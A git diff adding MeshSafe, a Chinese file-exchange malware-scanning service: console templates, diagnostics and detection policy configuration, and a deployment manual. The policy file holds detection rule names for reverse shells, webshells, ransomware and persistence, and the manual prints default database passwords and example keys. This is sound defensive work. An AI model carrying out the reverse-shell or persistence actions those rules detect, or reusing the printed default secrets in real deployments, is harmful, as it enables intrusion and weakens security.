{{ name }} + {% if info.get('ok') or info.get('available') %} + 在线 + {% else %} + 离线 + {% endif %} + + {% if info.get('version') %}版本: {{ info.version }}{% endif %} + {% if info.get('signature_date') %}· 病毒库: {{ info.signature_date }}{% endif %} + {% if info.get('rules_loaded') is not none %}· 规则: {{ info.rules_loaded }}{% endif %} +
+ {% else %} +
引擎健康信息不可用
+ {% endif %} +
+
+ + + {% if docker_status == 'full' %} +
+

🐳 容器运行状态

+ {% if docker_containers %} + + + + {% for c in docker_containers %} + {% if 'meshsafe' in c.name %} + + + + + + + + + {% endif %} + {% endfor %} + +
容器状态健康Docker重启历史重启运行时长
{{ c.name }} + {% if c.oom_killed %}OOM {% endif %} + {{ c.status }} + + {% if c.health %} + {% if c.health == 'healthy' %}✓ healthy + {% elif c.health == 'unhealthy' %}✗ unhealthy + {% elif c.health == 'starting' %}… starting + {% else %}{{ c.health }}{% endif %} + {% else %}—{% endif %} + + {% if c.restart_count and c.restart_count > 3 %} + {{ c.restart_count }} + {% else %} + {{ c.restart_count if c.restart_count is not none else '-' }} + {% endif %} + + {% if c.historical_restart_count and c.historical_restart_count > 0 %} + {{ c.historical_restart_count }} + {% else %} + 0 + {% endif %} + {{ c.uptime or '—' }}
+
+ 说明：Docker重启 = RestartCount（仅自动崩溃被拉起计数）； + 历史重启 = R015 检测到的 StartedAt/restart_count 变化（含手动 docker restart） +
+ {% else %} +
未发现 meshsafe 容器
+ {% endif %} +
+ {% elif docker_status == 'partial' %} +
+

🐳 容器运行状态 Docker 访问受限

+
部分容器信息不可用 — {{ docker_info.get('message', '') }}
+
+ {% elif docker_status == 'none' %} +
+

🐳 容器运行状态 未启用

+
+ Docker 日志检测未启用 — 如需启用，在 docker-compose.yml 的 api 服务中加
+ volumes: /var/run/docker.sock:/var/run/docker.sock:ro
+ 并确保 group_add: ["999"] +
+
+ {% endif %} + + +
+ 📦 一键导出诊断包 +
+ + {% endif %} + +
+ + + + + diff --git a/app/templates/login.html b/app/templates/login.html new file mode 100644 index 0000000..651bb72 --- /dev/null +++ b/app/templates/login.html @@ -0,0 +1,278 @@ + + + + + +MeshSafe · 文件摆渡安全卫士 + + + + + +
+
+ + +
+ 多层检测，双向管控，文件摆渡更安心 +
+
Multi-layer inspection · Bidirectional control · Safer file exchange
+ +
+
6 层引擎交叉检测
+
故障默认拦截
+
零容忍规则优先响应
+
全链路审计追溯
+
+ +
+
DETECTION ENGINES
+
+
文件结构分析
+
ClamAV 病毒库
+
文档深度检测
+
关键词匹配
+
YARA 规则匹配
+
PE/二进制分析
+
+
+
+
+ + +
+ +
+ + + diff --git a/app/templates/policy.html b/app/templates/policy.html new file mode 100644 index 0000000..7cef473 --- /dev/null +++ b/app/templates/policy.html @@ -0,0 +1,223 @@ + + + + + +策略配置 - MeshSafe 控制台 + + + +{% set nav_active = 'policy' %}{% include "_nav.html" %} +
+ +
+
YAML 模式（直接编辑）
+
规则清单（只读预览）
+
YARA 规则库（{{ yara_loaded_count }} 条已加载）
+
版本历史
+
+ + +
+
+ +
+

策略内容（数据库为准，YAML 作为导出备份）

+ +
+ + + 当前版本：{{ policy.version }} · SHA256：{{ policy.sha256[:12] }}... +
+
+
+
+ + +
+
+

零容忍规则集（{{ policy.zero_tolerance_rules|length }} 条 · 命中即拒绝）

+
+ {% if zt_rules_cn %} + {% for r in zt_rules_cn %} + {{ r.cn_name }} + {% endfor %} + {% else %} + {% for r in policy.zero_tolerance_rules %} + {{ r }} + {% endfor %} + {% endif %} +
+
+
+

策略全局参数

+ + + + + + + + + +
参数名说明当前值
block_score单引擎累计得分 ≥ 此阈值 → 判定为 malicious 直接拒绝{{ policy.block_score }}
review_score累计得分落在这个区间 → 判定为 suspicious 转人工复核{{ policy.review_score[0] }} ~ {{ policy.review_score[1] }}
engine_failure_mode检测引擎异常时的处理策略（fail_closed=拒绝 fail_open=放行）{{ policy.engine_failure_mode }}
max_file_size允许上传的单文件最大体积（超过直接拒绝）{% set kb = policy.max_file_size / 1024 %}{% set mb = kb / 1024 %}{% if mb >= 1 %}{{ "%.1f"|format(mb) }} MB{% else %}{{ "%.0f"|format(kb) }} KB{% endif %}（{{ policy.max_file_size }} 字节）
allow_encrypted_archive是否允许带密码的加密 ZIP/RAR/7z 压缩包通过{% if policy.allow_encrypted_archive %}允许{% else %}禁止{% endif %}
allow_encrypted_document是否允许带密码的加密 Office 文档（.docx/.xlsx/.pptx）通过{% if policy.allow_encrypted_document %}允许{% else %}禁止{% endif %}
白名单扩展名允许上传的文件扩展名（不在此列表的直接拒绝） + {% for e in policy.allowed_extensions %} + {{ e }} + {% endfor %} +
+
+ {% if policy.keyword_rules %} +
+

词表规则（{{ policy.keyword_rules|length }} 条）

+ {% for kw in policy.keyword_rules %} +
{{ kw.name }}
+ {% endfor %} +
+ {% endif %} +
+ + +
+
+

YARA 规则库（{{ yara_files_count }} 个文件 · {{ yara_loaded_count }} 条已编译）

+ {% if yara_rules %} + + + + + + + + + + + + + + {% for r in yara_rules %} + + + + + + + + + + {% endfor %} + +
规则名分类风险等级误报率权重触发次数参考
{{ r.name }} + {{ r.category_cn }} + + {% if r.risk_level_cn %}{{ r.risk_level_cn }} + {% else %}{{ r.risk_level }}{% endif %} + {{ r.false_positive_rate }}{{ r.weight }} + {% if r.trigger_count > 0 %}{{ r.trigger_count }} + {% else %}0{% endif %} + {{ r.reference[:50] }}{% if r.reference|length > 50 %}...{% endif %}
+ {% else %} +
+ {% if yara_rules_dir %} + YARA 规则库目录：{{ yara_rules_dir }}
+ 目录内 {{ yara_files_count }} 个 .yar 文件 + {% if yara_files_count == 0 %}—— 请检查规则文件是否存在{% endif %} + {% else %} + YARA 规则库未加载（可能 yara-python 未安装或规则目录不存在） + {% endif %} +
+ {% endif %} +
+
+

权重分档说明（来自 policy.yaml → yara_rule_weights）

+
+ critical → weight=85 + high → weight=65 + medium → weight=45 + low → weight=25 + 未配置的规则默认 weight=50 +
+
+
+ + +
+
+

策略版本历史（{{ versions|length }} 条）

+ + + + {% for v in versions %} + + + + + + + {% else %} + + {% endfor %} + +
版本SHA256创建时间操作
{{ v.version }}{{ v.sha256 }}{{ v.created_at|bj_time if v.created_at else '' }} + {% if user.role == 'admin' %} +
+ +
+ {% endif %} +
暂无版本记录（首次部署执行 scripts.init_db）
+
+
+ +
+ + + diff --git a/app/templates/tasks.html b/app/templates/tasks.html new file mode 100644 index 0000000..ed3787f --- /dev/null +++ b/app/templates/tasks.html @@ -0,0 +1,232 @@ + + + + + +任务历史 - MeshSafe 控制台 + + + +{% set nav_active = 'tasks' %} +{% include "_nav.html" %} +
+ +
+
+

任务历史

+
全部扫描任务记录 · 每页 {{ page_size }} 条
+
+
+ 共 {{ total }} 条记录 · 第 {{ page }} / {{ total_pages }} 页 +
+
+ +
+{% if tasks %} + + + + + + + + + + + + + + + + + + + {% for t in tasks %} + + + + + + + + + + + + + + + {% endfor %} + +
时间任务 ID文件名来源渠道类型大小模式检测结论处置动作风险分耗时
{{ t.created_at|bj_time("%m-%d %H:%M:%S") if t.created_at else '' }}{{ t.id[0:10] }}...{{ t.filename }}{{ t.channel|cn_channel }}{{ t.real_type[:16] if t.real_type else t.declared_ext }} + {% if t.size > 1048576 %}{{ (t.size / 1048576)|round(1) }} MB + {% elif t.size > 1024 %}{{ (t.size / 1024)|round(1) }} KB + {% else %}{{ t.size }} B{% endif %} + {{ t.mode|cn_mode }} +
+ {{ t.verdict|cn_verdict }} +
+ 		{{ t.action|cn_action }}{{ "%.0f"|format(t.score) }}{{ t.duration_ms }} ms +
+ 详情 ({{ t.findings|length }}) +
+ {% if t.findings %} + + + + + + {% for f in t.findings %} + + + + + + + + {% endfor %} + +
检测引擎严重度命中规则权重细节
{{ f.engine|cn_engine }}{{ f.severity|cn_severity }}{{ f.rule }}{{ f.weight }}{{ f.detail }}
+ {% else %} +
未检出任何风险信号
+ {% endif %} + {% if t.sha256 %} +
+ SHA256：{{ t.sha256 }} + {% if t.md5 %}
MD5：{{ t.md5 }}{% endif %} +
策略版本：{{ t.policy_version }} + {% if t.reason %}
裁决依据：{{ t.reason }}{% endif %} +
+ {% endif %} +
+
+
+ + +
+ {% for r in RISK_MATRIX %} +
+ {{ r.label }} + {{ r.desc }} +
+ {% endfor %} +
+ + +
+
+ 显示第 {{ (page - 1) * page_size + 1 }} - {{ [page * page_size, total]|min }} 条，共 {{ total }} 条 +
+
+ {% if has_prev %} + 上一页 + {% else %} + 上一页 + {% endif %} + + {% if page_nums and page_nums[0] > 1 %} + 1 + {% if page_nums[0] > 2 %}···{% endif %} + {% endif %} + + {% for p in page_nums %} + {% if p == page %} + {{ p }} + {% else %} + {{ p }} + {% endif %} + {% endfor %} + + {% if page_nums and page_nums[-1] < total_pages %} + {% if page_nums[-1] < total_pages - 1 %}···{% endif %} + {{ total_pages }} + {% endif %} + + {% if has_next %} + 下一页 + {% else %} + 下一页 + {% endif %} +
+
+{% else %} +
+
📭
+ 暂无扫描记录。调用 /api/v1/scans 提交文件后，结果会自动出现在这里。 +
+{% endif %} +
+ +
+ + diff --git a/app/templates/test_center.html b/app/templates/test_center.html new file mode 100644 index 0000000..c367c8b --- /dev/null +++ b/app/templates/test_center.html @@ -0,0 +1,323 @@ + + + + + +MeshSafe 控制台 — 测试靶场 + + + +{% set nav_active = 'test' %}{% include "_nav.html" %} +
+ + + +{% if results %} +
+
{{ total }}
样本总数
+
{{ pass_count }}
检测通过 ✅
+
{{ fail_count }}
检测未通过 ❌
+
+ 🔄 重新扫描 + +
+
+ +
+ 📦 当前策略：{{ policy_version or '-' }} + {% if last_run_at %} + 🕐 上次运行：{{ last_run_at|bj_time("%m-%d %H:%M:%S") }} + {% else %} + ⚠️ 从未运行过 —— 点「重新扫描」开始检测 + {% endif %} + {% if rescan %}✅ 本次为实时全量扫描结果{% endif %} +
+ + {% if results[0].clamav_error %} +
+ ⚠️ ClamAV 引擎不可用（本地未起 clamd）—— 部分 verdict 显示为 error (ClamAV 不可用)， + 但 YARA / structure / documents / keywords 引擎已正常工作。生产环境 docker compose 起 ClamAV 后会自动加载。 +
+ {% endif %} + + + + + + + + + + + + + + + + + + + {% for r in results %} + + + + + + + + + + + + + + {% endfor %} + +
#结果样本文件分类期望裁决 · 规则检测结论 · 规则方向规则Score耗时Findings
{{ loop.index }} + {% if r.overall_ok %}✅{% else %}❌{% endif %} + +
{{ r.filename }}
+
{{ r.description }}
+ 		{{ r.category }} + + {% set exp_v = r.expected_verdict or '' %} + {% if exp_v in ('reject', 'malicious') %} + 拦截 {{ exp_v }} + {% elif exp_v == 'suspicious' %} + 可疑 + {% elif exp_v == 'pass' or exp_v == 'clean' %} + 放行 {{ exp_v }} + {% else %} + {{ exp_v or '未设' }} + {% endif %} + + {% if r.expected_rules %} +
+ {% for rule in r.expected_rules %} + {{ rule }} + {% endfor %} +
+ {% endif %} + 		+ + {{ r.actual_verdict|cn_verdict }} + {% if r.clamav_error %}
ClamAV 不可用
{% endif %} + + {% if r.actual_rules %} +
+ {% for rule in r.actual_rules %} + {{ rule }} + {% endfor %} +
+ {% elif r.actual_verdict in ('pass', 'clean') %} +
（无规则命中）
+ {% else %} +
⚠️ 无规则
+ {% endif %} + 		+ {% if r.verdict_match %} + ✅ + {% else %} + ❌ + {% endif %} + + {% if r.rule_hit %} + ✅ + {% else %} + ❌ + {% endif %} + {{ "%.0f"|format(r.score) }}{{ r.duration_ms }}ms +
+ {{ r.findings_count }} 条 + {% if r.findings %} + + + + {% for f in r.findings %} + + + + + + + + {% endfor %} + +
引擎规则严重度权重细节
{{ f.engine }}{{ f.rule }}{{ f.severity }}{{ f.weight }}{{ f.detail }}
+ {% endif %} +
+
+ +{% else %} +
+ 测试样本目录不存在：{{ samples_dir }}
+ 请运行：python scripts/generate_test_samples.py +
+{% endif %} + + + + +
+ + + + diff --git a/config/diagnostics.yaml b/config/diagnostics.yaml new file mode 100644 index 0000000..4044728 --- /dev/null +++ b/config/diagnostics.yaml @@ -0,0 +1,58 @@ +# ============================================================================= +# MeshSafe Diagnostics Kit v1.0 配置 +# ============================================================================= +# 环境变量可覆盖（优先级更高）： +# MESHSAFE_DIAG_ENABLED=true|false +# MESHSAFE_DIAG_DOCKER=auto|true|false +# MESHSAFE_DIAG_ERROR_INTERVAL=30 +# MESHSAFE_DIAG_CONTAINER_INTERVAL=300 +# MESHSAFE_DIAG_DB_INTERVAL=60 +# MESHSAFE_DIAG_STORAGE_ENABLED=true|false +# ============================================================================= + +diagnostics: + # ---------- 总开关 ---------- + # true = 启动定时器、检测 Docker、运行规则引擎 + # false = 只保留手动导出功能，所有自动诊断关闭 + enabled: true + + # ---------- Docker 日志/容器状态能力 ---------- + # auto = 启动时自动检测 docker.sock 挂载 + # true = 强制启用，连不上启动报错 + # false = 强制关闭 + docker: + enabled: auto + + # ---------- 后台定时器周期（秒，0 = 不跑）---------- + timers: + error_scan_interval: 30 # 错误/拦截类日志（R001/R005/R009-R014） + container_check_interval: 300 # 容器/引擎类（R002/R003/R004/R015） + db_aggregate_interval: 60 # DB 聚合类（R006/R007/R008） + + # ---------- 日志行数控制 ---------- + docker_log_tail: 500 # 定时器 grep 最近多少行 + export_log_tail: 2000 # 导出时完整抓多少行 + + # ---------- 导出包数据范围 ---------- + # 所有 DB 查询都按"过去 N 天"过滤，避免导出全库 + export: + db_span_days: 7 # DB 查询时间范围（scan_tasks / findings / errors） + scan_tasks_max: 10000 # scan_tasks.json 上限条数（防极端大数据量爆包） + scan_findings_max: 50000 # scan_findings.json 上限条数 + engine_errors_max: 5000 # engine_errors.json 上限条数 + + # ---------- 规则阈值 ---------- + rules: + error_ratio_threshold: 0.05 # R001: error > 5% 告警 + clamav_db_stale_days: 7 # R002: 病毒库 > 7 天告警 + reject_ratio_threshold: 0.20 # R007: reject > 20% 告警 + suspicious_exceeds_malicious: true # R006 开关 + + # ---------- 持久化存储 ---------- + # 关闭后回退纯内存模式（定时器结果重启就丢） + storage: + enabled: true + dir: /app/data/diagnostics + history_retention_days: 7 # 规则历史保留天数 + log_snapshot_on_timer: true # 定时器跑完是否也存日志快照 + log_snapshot_tail: 500 # 定时存的日志行数（节省磁盘） diff --git a/config/policy.yaml b/config/policy.yaml new file mode 100644 index 0000000..26af00b --- /dev/null +++ b/config/policy.yaml @@ -0,0 +1,302 @@ +# ============================================================ +# MeshSafe 全局检测策略 +# 说明：所有裁决逻辑集中在此文件，调整策略无需改动代码。 +# 修改后调用 POST /api/v1/policies/reload 或重启服务生效。 +# ============================================================ + +version: "2026.10.2" +description: "MeshSafe 默认全局策略（麒麟桌面/UOS x86 + WPS 目标终端）" + +# ---------- 全局阈值 ---------- +global: + # 风险分 ≥ 该值直接拒绝 + block_score: 70 + # 风险分落在该区间转人工复核 + review_score: [30, 70] + # 引擎不可用时的降级策略：fail_closed（拒绝）/ fail_open（放行） + # 生产环境应为 fail_closed，满足等保"安全优先"要求 + engine_failure_mode: fail_closed + # 单文件大小上限（字节）—— 与 ClamAV MaxFileSize=1G 对齐，留余量给其他 5 引擎 + max_file_size: 1610612736 # 1.5 GB + # 同步模式的最大文件大小，超过转异步 + sync_max_size: 536870912 # 512 MB（超过转异步扫描，避免请求超时） + # 是否允许加密压缩包 + allow_encrypted_archive: false + # 是否允许加密文档（Office 加密） + allow_encrypted_document: false + +# ================================================================ +# 零容忍规则集（独立于评分模型，优先级最高） +# 命中即 reject，不走评分累加。与 §7.2 步骤 0 对应。 +# ================================================================ + +zero_tolerance_rules: + # ---- 跨平台通用载体 ---- + - PdfJavaScript # PDF 打开即执行脚本 + - PdfLaunchAction # PDF 打开即启动程序 + - PdfOpenAction # PDF 打开即执行动作 + - PathTraversal # 解包路径穿越 + - IsoWithExecutable # ISO 挂载后内部含可执行 + - MacroObfuscated # 宏代码混淆/加密（意图不可知） + - AttachedTemplate # Office 外部模板注入 + + # ---- 宏相关（WPS on Linux 生效）---- + - VBAAutoExec # VBA 宏 AutoOpen 自动执行入口 + - VBAAutoExecShell # VBA 宏自动执行 + Shell/CreateObject 调用 + - MRaptorAutoExec # mraptor 判定为自动执行宏 + - MRaptorAutoExecSuspicious # mraptor 判定为可疑自动执行宏 + - DDEAutoExecution # DDE/DDEAUTO 自动执行字段 + - EmbeddedExecutable # 文档内嵌可执行对象 + + # ---- Linux 专属载体 ---- + - LinuxExecutable # ELF 原生二进制 + - DesktopFileAutoExec # .desktop 文件 Exec= 字段含危险命令 + - ShellScriptDangerous # Shell/Python/Perl/Ruby 脚本含危险函数 + - LinuxPortableExecutable # AppImage/Flatpak/Snap 便携包 + - ArchiveContainsLinuxExec # 压缩包内混有 .sh/.deb/.run/.bin + + # ---- Windows 专属载体（纵深防御）---- + - LnkWithAutoExec # LNK 快捷方式（Linux 不识别，保持检测） + - ChmWithScript # CHM 帮助文件（Linux 默认不自动执行） + +# ---------- 文件类型白名单 ---------- +# 只允许这些类型通过。空列表表示不限制（不推荐生产使用）。 +allowed_extensions: + # --- Office 文档 --- + - .doc + - .docx + - .docm + - .xls + - .xlsx + - .xlsm + - .ppt + - .pptx + - .pptm + - .rtf + - .pdf + - .wps # WPS 文字 + - .et # WPS 表格 + - .dps # WPS 演示 + + # --- 文本与图像 --- + - .txt + - .csv + - .json + - .xml + - .yaml + - .yml + - .html + - .htm + - .md # Markdown（飞书/Notion 导出） + - .markdown + - .jpg + - .jpeg + - .png + - .gif + - .bmp + - .tiff + - .svg + - .webp + + # --- 音视频 --- + - .mp4 + - .mov + - .avi + - .mkv + - .wmv + - .flv + - .webm + - .mp3 + - .wav + - .flac + - .m4a + + # --- 脑图/设计 --- + - .xmind + - .drawio + - .vsdx + - .bpmn + - .epub + + # --- 邮件 --- + - .eml + - .msg + + # --- 归档（允许进入后递归扫描）--- + - .zip + - .rar + - .7z + - .tar + - .gz + - .bz2 + - .xz + - .iso + + # --- 可执行与脚本（零容忍规则拦截，此处允许进入裁决流程）--- + # 两层防御：零容忍（步骤 0）先拦截，扩展名白名单（步骤 3）作为兜底 + # 这样策略中临时禁用某个零容忍规则时，文件仍可进入评分裁决 + - .exe + - .dll + - .msi + - .scr + - .com + - .elf + - .so + - .desktop + - .appimage + - .deb + - .rpm + - .run + - .bin + - .snap + - .sh + - .bash + - .zsh + - .py + - .pl + - .rb + - .js + - .vbs + - .bat + - .cmd + - .ps1 + - .hta + - .lnk + - .chm + +# ---------- 需要强制深检的类型 ---------- +# 一期无沙箱，此配置预留。命中这些类型自动转异步。 +sandbox_required_extensions: + - .exe + - .msi + - .iso + +# ---------- 特定规则的处置覆盖 ---------- +# 仅针对未进入零容忍集的规则。零容忍规则已在上方处理，此处不再覆盖。 +# rule_name: [action, reason_override] +# action 取值：pass / pass_with_flag / manual_review / reject / reject_and_notify +rule_overrides: + VBAShellInvocation: + action: manual_review + reason: "宏调用 Shell 但无自动执行入口，需人工复核" + ArchiveContainsExecutable: + action: manual_review + reason: "压缩包内含 Windows 可执行文件，转人工确认（Linux 不识别）" + ArchiveBombSuspect: + action: reject + reason: "压缩比异常，疑似压缩炸弹" + ExtensionMismatch: + action: reject + reason: "声明扩展名与真实类型不一致，疑似伪装" + DoubleExtension: + action: reject + reason: "双扩展名伪装，高风险" + # ---- 邮件相关 ---- + EmailAttachmentDangerous: + action: manual_review + reason: "邮件附件为高风险类型，需人工确认是否为钓鱼/恶意附件" + EmailAttachmentDisguised: + action: reject + reason: "邮件附件存在双扩展名伪装，高风险钓鱼特征" + EmailPhishingKeyword: + action: manual_review + reason: "邮件正文/Subject 命中钓鱼特征，需人工确认" + # ---- 加密 ---- + OfficeEncrypted: + action: reject + reason: "Office 文档已加密，策略禁止加密文档进入内网" + +# ---------- 通知设置 ---------- +notification: + # 拒绝时是否返回详细原因给调用方（便于摆渡系统向用户提示） + include_reason: true + # 拒绝原因的最大长度 + max_reason_length: 500 + +# ---------- YARA 规则权重映射 ---------- +# 按规则名精细设定权重（0-100），覆盖 binary.py 里的默认 weight=50 +# 命中但不在下列名单中的规则 weight 保持默认值 50 +# 严重度分档由规则内 meta.risk_level 决定（critical/high/medium/low） +yara_rule_weights: + critical: # weight=85 + - C3_PHP_Webshell_Oneliner + - C3_JSP_Webshell_RuntimeExec + - C3_Webshell_Behinder + - C1_PE_ProcessInjection + - C8_Ransomware_Encryption + - C8_Ransomware_LockBit + - C8_Ransomware_BlackCat + - C8_Ransomware_Conti + - C7_Linux_ReverseShell_Bash + - C7_Linux_ReverseShell_NC + - C7_Linux_Rootkit_KernelModule + high: # weight=65 + - C3_PHP_Webshell_Obfuscated + - C3_PHP_Webshell_VariableDeformation + - C3_Webshell_CommandExecutionEcho + - C3_Webshell_Godzilla + - C1_PE_Downloader_Loader + - C1_PE_RAT_CommandControl + - C1_PE_LOLBin_Usage + - C1_PE_Mutex_Persistence + - C7_Linux_ReverseShell_Python + - C7_Linux_ReverseShell_Perl + - C7_Linux_ReverseShell_Socat + - C7_Linux_Persistence_Crontab + - C7_Linux_Persistence_SystemD + - C7_Linux_Persistence_AuthorizedKeys + - C7_Linux_Persistence_LD_PRELOAD + - C8_Ransomware_VolumeShadow + - C8_Ransomware_Note_Filename + - C8_Ransomware_Ryuk_Pseudo + medium: # weight=45 + - C9_Packer_UPX + - C9_Packer_Themida_VMP + - C1_PE_DLLHijacking + - C1_PE_EntropyHighNetwork + - C7_Linux_Miner_Generic + - C7_Misc_Ruby_Lua_ReverseShell + - C7_Network_Tools_Malicious + - C3_Webshell_AntSword + - C3_Webshell_ASPNET + - C3_Webshell_ASP_Classic + - C3_JSP_Webshell_Deserialization + - C3_JSP_Webshell_MemoryShell + - C3_Webshell_CommandExecutionEcho + - C8_Ransomware_Extension_Blacklist + low: # weight=25 + - C7_Linux_ReverseShell_Misc + + +# ---------- 内网特征词表引擎（P1）---------- +# 规则为数据驱动：在 policy.yaml 中声明，引擎从 PolicyStore 加载。 +# 控制台 P2 可实时修改并热重载。 +# 每条规则字段： +# name: 规则名（Finding.rule） +# match: contains | regex | any_of +# pattern: contains/regex 模式的匹配串 +# keywords: any_of 模式的关键词列表 +# weight: 评分权重（默认 30） +# severity: low | medium | high | critical（默认 medium） +# ignore_case: 正则模式是否忽略大小写 +keyword_rules: + # ---- 内网合规特征（辅助判断，不进零容忍）---- + - name: ClassifiedLevelMarkers + match: any_of + keywords: ["绝密", "机密", "秘密", "内部文件", "内部资料", "禁止外传"] + weight: 25 + severity: low + + - name: InternalDocumentPatterns + match: regex + pattern: "(?:国家机密|涉密|密级[：:]\\s*[一二三四五])" + ignore_case: true + weight: 30 + severity: medium + +# ---------- 审计 ---------- +audit: + # 记录扫描结果明细到审计日志 + log_findings: true + # 是否记录提取到的子文件路径 + log_extracted_paths: true diff --git a/deploy/OPERATIONS.md b/deploy/OPERATIONS.md new file mode 100644 index 0000000..8f18706 --- /dev/null +++ b/deploy/OPERATIONS.md @@ -0,0 +1,308 @@ +# MeshSafe 部署操作手册 + +> 本文档是**给运维/实施工程师直接照着干的**。不讲原理，只讲"改什么、改成什么、敲什么命令"。仓库根目录在服务器上假设为 `/opt/meshsafe`（Windows 上就是 `d:\project\MeshSafe`）。下面统一用 `/opt/meshsafe` 指代。 + +*** + +## 第零步：先填这 5 个决策项 + +**动手改配置之前先把这 5 个值定下来**，不确定的问甲方。 + +| # | 决策项 | 填什么 | 怎么查 | +| - | -------------------- | ---------------------- | ------------------------------------------------------------------------------------------------ | +| ① | 服务器 CPU **物理核数** | 一个整数，比如 8 | Linux: `lscpu | grep "^CPU(s)"` 的值 / `lscpu | grep "Socket(s)"` 再除一下；Windows: 任务管理器 → 性能 → CPU | +| ② | 有几个**外部系统**要对接扫描 API | 比如 3 个：采购系统、档案系统、摆渡客户端 | 问甲方"哪些系统会调你家扫描接口" | +| ③ | 预计**峰值并发**（同时在扫的文件数） | 比如 50 | 问甲方"忙的时候一般多少个文件同时扫" | +| ④ | Postgres 密码定什么 | 自己定一个 ≥ 16 位的随机串 | 自己想，不要用仓库默认的 `meshsafe_db_pw_2026` | +| ⑤ | 服务器**内网 IP** | 比如 `192.168.50.200` | `ip addr` / `ipconfig` 查 | + +> **例**：某客户服务器 8 核，3 个对接系统，峰值并发 50，Postgres 密码 abc123xyz789qwe，内网 IP 192.168.50.200 + +*** + +## 第一步：生成密钥（3 条命令，复制就能跑） + +在服务器上（或本地）跑： + +```bash +# 1. MASTER_KEY（主密钥，所有 API 客户端密钥从它派生） +python -c "import base64, os; print(base64.b64encode(os.urandom(32)).decode())" +# 输出示例：F0CcBAXSk050fCbtf4jYwyaPW8dCkiUnsJZ7H2WPgFk= + +# 2. ADMIN_PASSWORD（控制台默认管理员密码，16 位随机） +python -c "import base64, os; print(base64.b64encode(os.urandom(12)).decode())" +# 输出示例：SGVsbG9Xb3JsZDEyMzQ1Njc4 + +# 3. Postgres 密码（如果不想自己想，也可以生成） +python -c "import base64, os; print(base64.b64encode(os.urandom(16)).decode())" +# 输出示例：YWJjZGVmZ2hpamtsbW5vcHFyc3Q= +``` + +**生成好后把这 3 个值记下来**。MASTER_KEY 要**离线备份**（让两位管理员各自存一份，密码管理器 / 纸质都行）。 + +*** + +## 第二步：逐文件改 + +### 文件 1：`.env`（项目根目录下） + +打开 `/opt/meshsafe/.env`，**改下面几行**： + +| 行 | 当前内容 | 改成 | +| -- | ------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- | +| 11 | `MESHSAFE_MASTER_KEY=F0CcBAXSk050fCbtf4jYwyaPW8dCkiUnsJZ7H2WPgFk=` | 第一步生成的 MASTER_KEY | +| 14 | `MESHSAFE_DB_PASSWORD=meshsafe_db_pw_2026` | 第四步的 Postgres 密码 | +| 19 | `MESHSAFE_DB_URL=postgresql+psycopg2://meshsafe:meshsafe_db_pw_2026@postgres:5432/meshsafe` | ⚠️ **密码要和第 14 行一致**。把 URL 里的密码部分（`meshsafe_db_pw_2026`）替换成你实际的 Postgres 密码。完整形式：`postgresql+psycopg2://meshsafe:你的Postgres密码@postgres:5432/meshsafe` | +| 23 | `MESHSAFE_ADMIN_PASSWORD=admin123` | 第一步生成的 ADMIN_PASSWORD | +| 26 | `UVICORN_WORKERS=15` | 第一步的 CPU **物理核数** | +| 27 | `DB_POOL_SIZE=30` | **计算**：物理核数 × 3。8 核填 24，16 核填 45 | +| 28 | `DB_MAX_OVERFLOW=50` | **计算**：物理核数 × 5。8 核填 40，16 核填 80 | + +> 上面示例（8 核服务器、密码 abc123xyz789qwe）的 .env 相关行：``` +> MESHSAFE_MASTER_KEY=你生成的key +> MESHSAFE_DB_PASSWORD=abc123xyz789qwe +> MESHSAFE_DB_URL=postgresql+psycopg2://meshsafe:abc123xyz789qwe@postgres:5432/meshsafe +> MESHSAFE_ADMIN_PASSWORD=你生成的admin密码 +> UVICORN_WORKERS=8 +> DB_POOL_SIZE=24 +> DB_MAX_OVERFLOW=40 +> ``` + +*** + +### 文件 2：`docker-compose.yml`（项目根目录下） + +打开 `/opt/meshsafe/docker-compose.yml`，**改 1 行**（api 服务的 environment 里，大概第 106 行）： + +``` +当前： - MESHSAFE_API_CLIENTS=test-client:test-secret,duandao-system-a:real-secret +``` + +**改成**：把"②有几个外部系统"里的每个系统，分配一对 `client_id:client_secret`，逗号隔开。 + +**给每个对接系统生成 client_secret**： + +```bash +python -c "import base64, os; print(base64.b64encode(os.urandom(24)).decode())" +``` + +**示例**（3 个对接系统）： + +```yaml +- MESHSAFE_API_CLIENTS=system-caigou:aBc123xyz789...,system-dangoaN:DeF456ghi012...,system-bodao:GhI789jkl345... +``` + +> **格式说明**：`client_id` 用英文代号（不要中文、不要空格），`client_secret` 是上条命令生成的随机串，一对一对用英文逗号隔开。 + +> **其他都不要改！** compose 里的 `UVICORN_WORKERS`、`DB_POOL_SIZE`、`DB_MAX_OVERFLOW` 这三行是从 .env 读取的，改 .env 就自动生效了。 + +*** + +### 文件 3：`deploy/nginx/default.conf` + +打开 `/opt/meshsafe/deploy/nginx/default.conf`，**可选改 IP 白名单**。 + +**不改也行**（内网光闸场景）。改的话，在每个 `location` 块里加 `allow` 和 `deny` 行，格式： + +```nginx +location /console/ { + allow 运维网段/掩码; # 例如 allow 192.168.1.0/24; + deny all; # 其他都拒绝 + proxy_pass http://api:8443; + ... 其余不动 ... +} + +location /api/ { + allow 摆渡客户端固定IP; # 例如 allow 192.168.50.100; + deny all; + proxy_pass http://api:8443; + ... 其余不动 ... +} +``` + +**如果不知道有哪些 IP 要放行，先跳过这步**——等测试通了再回来加。 + +*** + +## 第三步：启动 + +按顺序执行，**每一步看状态对了再走下一步**： + +```bash +cd /opt/meshsafe + +# 1. 建磁盘目录 +mkdir -p data/postgres data/redis data/clamav data/logs data/temp data/diagnostics + +# 2. 起基础设施（Postgres + Redis） +docker compose up -d postgres redis + +# 3. 等它们 healthy +docker compose ps postgres redis +# 看到 "healthy" 再往下，否则等 10 秒再看 + +# 4. 起 ClamAV（病毒引擎） +# 注意：如果是光闸内网，ClamAV 签名库要先摆渡到 data/clamav/ 目录 +# 首次启动如果 data/clamav 是空的会自动 freshclam（需要外网） +docker compose up -d clamav +# 等 2~5 分钟，因为 ClamAV 启动慢 + +# 5. 构建并起 API +docker compose up -d --build api + +# 6. 初始化数据库（建表 + admin 账号 + 初始策略） +docker compose exec api python scripts/init_db.py +# 应该看到 "=== 初始化完成 ===" + +# 7. 起 Nginx（最后） +docker compose up -d nginx +``` + +**全绿检查**： + +```bash +docker compose ps +# 所有 service 状态应该是 Up (healthy) 或 Up +``` + +*** + +## 第四步：验证 + +```bash +# 1. 健康检查 +curl http://服务器IP:44380/health +# 应该返回 {"status":"ok", ...} + +# 2. 控制台（浏览器打开） +# http://服务器IP:44380/console/login +# 用 .env 里的 MESHSAFE_ADMIN_PASSWORD 